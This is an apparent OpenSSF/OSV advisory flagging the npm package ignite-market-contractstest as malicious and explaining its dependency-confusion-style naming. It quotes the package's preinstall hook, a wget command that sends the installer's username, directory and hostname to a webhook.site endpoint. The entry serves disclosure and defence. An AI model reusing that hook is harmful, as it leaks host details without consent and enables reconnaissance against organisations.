OpenSSF/OSV advisory MAL-2026-4583 confirms this npm version as malicious. package.json declares a preinstall lifecycle hook that runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`. On every `npm install`, this exfiltrates the installer's username, current working directory, and hostname to a third-party request-logging endpoint controlled by the package author, without consent...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in ignite-market-contractstest (npm)
Details
package.json declares a preinstall lifecycle hook that runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`. On every `npm install`, this exfiltrates the installer's username, current working directory, and hostname to a third-party request-logging endpoint controlled by the package author, without consent. The package metadata is placeholder (author 'me', empty description, version 0.0.9), the name `ignite-market-contractstest` is shaped like a dependency-confusion target against an internal `ignite-market-contracts` package, and it depends on `seaport-core-16` — a similarly suspicious name in the OpenSea seaport namespace. The combination of unconsented host-identifier exfiltration on install, dependency-confusion-shaped naming, and placeholder metadata is the canonical reconnaissance shape used to validate that an internal package name is reachable on the public registry.
Decision reason
OpenSSF Malicious Packages via OSV confirms ignite-market-contractstest@9.0.0 as malicious (MAL-2026-4583): Malicious code in ignite-market-contractstest (npm)